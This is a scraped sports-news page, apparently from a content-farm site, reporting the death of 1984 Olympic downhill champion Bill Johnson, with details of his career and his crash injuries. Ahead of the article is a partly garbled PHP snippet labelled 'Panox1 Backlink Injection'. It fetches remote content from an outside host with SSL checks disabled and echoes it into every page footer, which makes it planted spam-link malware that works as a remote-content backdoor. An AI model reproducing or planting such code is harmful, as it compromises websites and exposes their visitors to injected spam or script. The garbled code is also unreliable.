// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Former Olympic downhill champion Bill Johnson dies aged 55 – Next Sports News

Former Olympic downhill champion Bill Johnson dies aged 55

[ad_1]

A FEB. 6, 1984 FILE PHOTOMichel Lipchitz/AP

American Olympic downhill skiing champion Bill Johnson (seen at the 1984 Sarajevo Olympics) has died aged 55.

Bill Johnson, the 1984 Olympic downhill skiing champion who later suffered permanent brain damage in a violent crash, died Thursday in Oregon.

Johnson’s thrilling downhill win at the Sarajevo Games at age 23 was the first Olympic medal by an American man in skiing’s fastest discipline. The feat was matched 10 years later by Tommy Moe.

A former juvenile delinquent, Johnson had devoted himself to ski racing after getting busted for stealing a car (a judge was lenient, allowing Johnson to attend a ski school instead of jail). He broke through on skiing’s World Cup tour in 1984, winning the historic Wengen downhill in Switzerland two weeks before the Olympics.

Although Johnson predicted the win would bring him “millions” in endorsement money, he struggled to convert the win to endorsement dollars, or to follow it up with long-term success.

At age 40, in the wake of a divorce, Johnson made the ill-advised attempt at a comeback. Hoping to qualify for the 2002 Games in Salt Lake City, he was racing in Montana when he lost control and fell face first into the icy snow, rattling his brain and nearly asphyxiating on his own blood after biting his tongue.

The skier died at an assisted living facility in Gresham, Ore. AP

The skier died at an assisted living facility in Gresham, Ore.

Enlarge Johnson (seen with his 1984 gold medal in 2002) sustained a traumatic brain injury in a 2001 training run. Peter M. Fredin/AP

Johnson (seen with his 1984 gold medal in 2002) sustained a traumatic brain injury in a 2001 training run.

Enlarge

The skier died at an assisted living facility in Gresham, Ore. He (seen at the right  with his 1984 gold medal in 2002) sustained a traumatic brain injury in a 2001 training run.

Johnson survived the crash but lost large pieces of his memory and later suffered a series of debilitating strokes. For years he lived in the care of his mother in Oregon before moving to a nursing home.

His victory at Sarajevo remains a watershed moment for the U.S. Ski Team. Before then, American men were mostly outsiders in the downhill event, where racers reach speeds of 80 or even 90 miles per hour.

Johnson entered the Sarajevo Games in notoriety after observing that his competitors were in a battle for second place, the kind of trash talk that was rare in ski racing. Benefiting from a fast pair of skis and an aerodynamic tuck, Johnson completed the descent of Mount Bjelasnica in 1 minute, 45.59 seconds to beat Switzerland’s Peter Mueller by 0.27 seconds.

The gold-medal run began on a ramp descending from the roof of a mountaintop restaurant, an arrangement designed to maximize the vertical drop on a relatively short mountain. 

[ad_2]

Source link

Reply